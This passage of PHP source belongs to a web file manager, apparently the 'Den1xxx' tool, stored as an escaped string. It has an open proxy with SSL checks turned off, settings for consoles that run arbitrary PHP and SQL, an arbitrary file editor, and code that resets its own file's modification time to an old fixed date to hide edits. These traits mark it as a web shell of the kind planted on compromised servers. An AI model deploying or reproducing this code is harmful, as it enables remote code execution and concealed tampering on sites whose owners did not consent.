<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	\'.fm_home().\' <a href="\'.$url.\'" target="_blank">Url</a>: <input type="text" name="url" value="\'.$url.\'" size="55">
	<input type="submit" value="\'.__(\'Show\').\'" class="fm_input">
	</form>
</div>
\';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, \'Den1xxx test proxy\');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace(\'#(src)=["\'][http://]?([^:]*)["\']#Ui\', \'\1="\'.$url.\'/\2"\', $result);
		$result = preg_replace_callback(\'#(href|src)=["\'][http://]?([^:]*)["\']#Ui\', \'fm_url_proxy\', $result);
		$result = preg_replace(\'%(<body.*?>)%i\', \'$1\'.\'<style>\'.fm_home_style().\'</style>\'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__(\'File manager\')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt \'Courier New\', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = \'?fm=true\';
if (isset($_POST[\'sqlrun\'])&&!empty($fm_config[\'enable_sql_console\'])){
	$res = empty($_POST[\'sql\']) ? \'\' : $_POST[\'sql\'];
	$res_lng = \'sql\';
} elseif (isset($_POST[\'phprun\'])&&!empty($fm_config[\'enable_php_console\'])){
	$res = empty($_POST[\'php\']) ? \'\' : $_POST[\'php\'];
	$res_lng = \'php\';
} 
if (isset($_GET[\'fm_settings\'])) {
	echo \' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">\'.__(\'File manager\').\' - \'.__(\'Settings\').\'</th></tr>
\'.(empty($msg)?\'\':\'<tr><td class="row2" colspan="2">\'.$msg.\'</td></tr>\').\'
\'.fm_config_checkbox_row(__(\'Show size of the folder\'),\'show_dir_size\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' \'.__(\'pictures\'),\'show_img\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' \'.__(\'Make directory\'),\'make_directory\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' \'.__(\'New file\'),\'new_file\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' \'.__(\'Upload\'),\'upload_file\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' PHP version\',\'show_php_ver\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' PHP ini\',\'show_php_ini\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' \'.__(\'Generation time\'),\'show_gt\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' xls\',\'show_xls\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' PHP \'.__(\'Console\'),\'enable_php_console\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' SQL \'.__(\'Console\'),\'enable_sql_console\').\'
<tr><td class="row1"><input name="fm_config[sql_server]" value="\'.$fm_config[\'sql_server\'].\'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="\'.$fm_config[\'sql_username\'].\'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="\'.$fm_config[\'sql_password\'].\'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="\'.$fm_config[\'sql_db\'].\'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
\'.fm_config_checkbox_row(__(\'Show\').\' Proxy\',\'enable_proxy\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' phpinfo()\',\'show_phpinfo\').\'
\'.fm_config_checkbox_row(__(\'Show\').\' \'.__(\'Settings\'),\'fm_settings\').\'
\'.fm_config_checkbox_row(__(\'Restore file time after editing\'),\'restore_time\').\'
\'.fm_config_checkbox_row(__(\'File manager\').\': \'.__(\'Restore file time after editing\'),\'fm_restore_time\').\'
<tr><td class="row3"><a href="\'.fm_url().\'?fm_settings=true&fm_config_delete=true">\'.__(\'Reset settings\').\'</a></td><td class="row3"><input type="submit" value="\'.__(\'Save\').\'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">\'.__(\'Settings\').\' - \'.__(\'Authorization\').\'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" \'.($auth[\'authorize\']?\'checked\':\'\').\' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">\'.__(\'Authorization\').\'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="\'.$auth[\'login\'].\'" type="text"></td><td class="row2 whole">\'.__(\'Login\').\'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="\'.$auth[\'password\'].\'" type="text"></td><td class="row2 whole">\'.__(\'Password\').\'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="\'.$auth[\'cookie_name\'].\'" type="text"></td><td class="row2 whole">\'.__(\'Cookie\').\'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="\'.$auth[\'days_authorization\'].\'" type="text"></td><td class="row2 whole">\'.__(\'Days\').\'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">\'.$auth[\'script\'].\'</textarea></td><td class="row2 whole">\'.__(\'Script\').\'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="\'.__(\'Save\').\'" ></td></tr>
</form>
</table>\';
echo fm_tpl_form(\'php\'),fm_tpl_form(\'sql\');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__(\'File manager\').\' - \'.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__(\'Console\')?><?php
	if($res_lng==\'sql\') echo \' - Database: \'.$fm_config[\'sql_db\'].\'</h2></td><td>\'.fm_run_input(\'php\');
	else echo \'</h2></td><td>\'.fm_run_input(\'sql\');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.\'&path=\' . $path;?>"><?=__(\'Back\')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__(\'Reset\')?>">
		<input type="submit" value="<?=__(\'Submit\')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.\'_templates\';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : \'\';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.\'_tpl\']) ? $_POST[$res_lng.\'_tpl\'] : \'\';
	$select = \'<select name="\'.$res_lng.\'_tpl" title="\'.__(\'Template\').\'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'\'.$res_lng.\'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'\'.$res_lng.\'\'].value =\'\';" >\'."
";
	$select .= \'<option value="-1">\' . __(\'Select\') . "</option>
";
	foreach ($tmpl as $key=>$value){
		$select.=\'<option value="\'.$value.\'" \'.((!empty($value)&&($value==$active))?\'selected\':\'\').\' >\'.__($key)."</option>
";
	}
	$select .= "</select>
";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun=\'fm_\'.$res_lng;
		echo \'<h3>\'.strtoupper($res_lng).\' \'.__(\'Result\').\'</h3><pre>\'.$fun($res).\'</pre>\';
	}
} elseif (!empty($_REQUEST[\'edit\'])){
	if(!empty($_REQUEST[\'save\'])) {
		$fn = $path . $_REQUEST[\'edit\'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST[\'newcontent\'])) $msg .= __(\'File updated\');
		else $msg .= __(\'Error occurred\');
		if ($_GET[\'edit\']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config[\'restore_time\'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST[\'edit\']);
    $editlink = $url_inc . \'&edit=\' . $_REQUEST[\'edit\'] . \'&path=\' . $path;
    $backlink = $url_inc . \'&path=\' . $path;
?>
<table border=\'0\' cellspacing=\'0\' cellpadding=\'1\' width="100%">
<tr>
    <th><?=__(\'File manager\').\' - \'.__(\'Edit\').\' - \'.$path.$_REQUEST[\'edit\']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__(\'Back\')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__(\'Submit\')?>">
            <input type="submit" name="cancel" value="<?=__(\'Cancel\')?>">
        </form>
